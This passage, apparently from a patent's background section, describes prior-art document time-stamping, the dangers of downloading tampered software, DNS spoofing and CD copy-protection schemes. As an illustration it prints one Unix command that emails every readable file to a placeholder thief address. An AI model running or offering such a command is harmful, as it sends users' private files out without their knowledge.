the temporal existence of the file, (5) the TSA then sends the digital certificate back to the creator of the file, and (6) the creator of the file stores the certificate for later proof of the file's temporal existence.

In order to prove that the certificate was in fact created by the TSA, the TSA's public key would be used to verify that the file was signed by some entity using TSA's private key, and since TSA is the only entity that should have access to the private key, it can be presumed that the TSA is the entity that created the certificate. Haber and Stornetta's methodologies use public key cryptographic procedures to verify the bilateral communications between the TSA and the creator (i.e. author) of the file. However, even though this prior art procedure would establish the temporal existence of the file, it does not prevent malicious users modifying files and then time stamping the new corrupted file or from masquerading as a legitimate author. This problem is best illustrated using the example of software updates available on the Internet.

It has become common practice for users to obtain software from public sites on the Internet. However, such a practice is very dangerous. As an example of the dangers involved, in UNIX systems, any program that is executed will run with the same privileges as the user who invoked it. So if a user downloads and runs a program, that unbeknownst to the user, was placed in a file on a server by some other malicious individual, that software has access to all of users files and can send mail, post to newsgroups, and attempt illegal break-ins on behalf of this unsuspecting user. For example, the following Unix command:

```
unix % find/-name\*exec cat|\; mail\theif@company.com
```

causes all of the files that user can read, in the entire file system, to be emailed to theif@company.com. A more sophisticated program could do more serious damage.

Personal Computer (PC) users are also at risk. It is easy for a malicious user to insert viruses into a program that is posted to the Internet. A sophisticated malicious user is also able to cause a corrupted version of a document or program to be downloaded even without breaking into a public server by attacking the Domain Name Server (DNS) or hijacking a file transfer protocol (ftp) connection. A DNS is a server used on the Internet to map a domain name to an Internet Protocol (IP) numbered address. If a malicious user on the Internet attacked a DNS and accessed the DNS records, this malicious user could substitute their IP address for some other parties domain name. Therefore, if another user tried to communicate with a user identified by the domain name, this other user would actually be communicating with the malicious user and not the intended user. These potential problems are one of the primary reasons banks and very large corporations must operate very expensive, private, dedicated networks to transact their business.

In each of these cases, a sophisticated user could, using Haber and Stornetta's methods, legitimately establish the temporal existence of the corrupted file. However, the third party user of the software update has no way of knowing whether the file they have downloaded is the authors uncorrupted file; all they would know is that the file is uncorrupted since it was fixed in time. Using the prior art approaches, users would still have to enter in to some form of secure bilateral communication in order to be sure that the file a user is downloading is the uncorrupted file from the real author. These limitations in the current art are a burden on the secure distribution of electronic files in public networks thereby limiting the use of these networks for sharing files in a manner on which users can rely. Thus, what is needed is a means to distribute electronic information without requiring users to have to enter in to some form of secure bilateral network file transfer in order to be sure that the file a user is downloading is the desired uncorrupted file from the real author.

Thus, given the multitude of present deficiencies with digital information transfer over networks, large collections of information can be more efficiently and cost effectively distributed on fixed media such as the compact disc (CD). Recent developments in the availability, reliability, and recording density of relatively inexpensive CD Recordable media (CD-R media) and relatively inexpensive CD-R duplication systems have made the duplication and distribution of vast collections of information more economically practical.

However, despite these developments, there remains a need to develop methods of controlling access to information recorded on CD-R. Control of digital information that is electronically published on CD is a major problem in the record, movie (videodisc), computer, and video game industries. In addition, geographically diverse organizations that rely upon common carriers to distribute CDs containing confidential or proprietary information between their different locations, require means to control access to the recorded information. Specifically, the current process of distributing important and sensitive data on CD between a company's headquarters and its branch offices is not secure and not protected. Any person who comes into possession of a company's CD can read its data on any CD drive.

In the record industry, illegal home and commercial taping of CD is depriving artists, recording studios, and manufacturers of significant income which is rightfully due them. A similar problem exists with illegal taping of films in the videodisc industries. So called "software piracy" is a major problem in the computer and video game industry. Current methods of preventing software piracy or providing copy protection do not provide adequate protection against a dedicated adversary equipped with an inexpensive CD duplication system. In addition, software copy protection does not currently exist in the music industry.

Films recorded on videodisc are sometimes copy protected by degrading the horizontal or vertical synchronizing signals slightly. Most commercially available video recorders require a cleaner synchronizing signal than a TV receiver, so that the videodisc movie cannot be copied by a video recorder, but will be displayed properly on a TV receiver. But, the videodisc can still be copied by putting a filtering device between the videodisc player and the video recorder which cleans up the synchronizing signal.

The most straightforward way to curb unaccounted distribution is to prevent unauthorized copying and unauthorized access of the information recorded on the CD. For existing materials that are distributed in digital form, various different approaches have been used.

Copy protection has received the greatest attention in the computer software industry. Copy protection schemes which limit the number of copies that can be made or which corrupt the output when copying is detected have been employed. Another prior art scheme causes software to become disabled after a predetermined period of time has lapsed. A technique used for workstation based software is to require that a special hardware device must be present on the workstation in order for the software to run, e.g., see U.S. Pat. No. 4,932,054 entitled "Method and Apparatus for Protecting Computer Software Utilizing Coded Filter Network in Conjunction with an Active Coded Hardware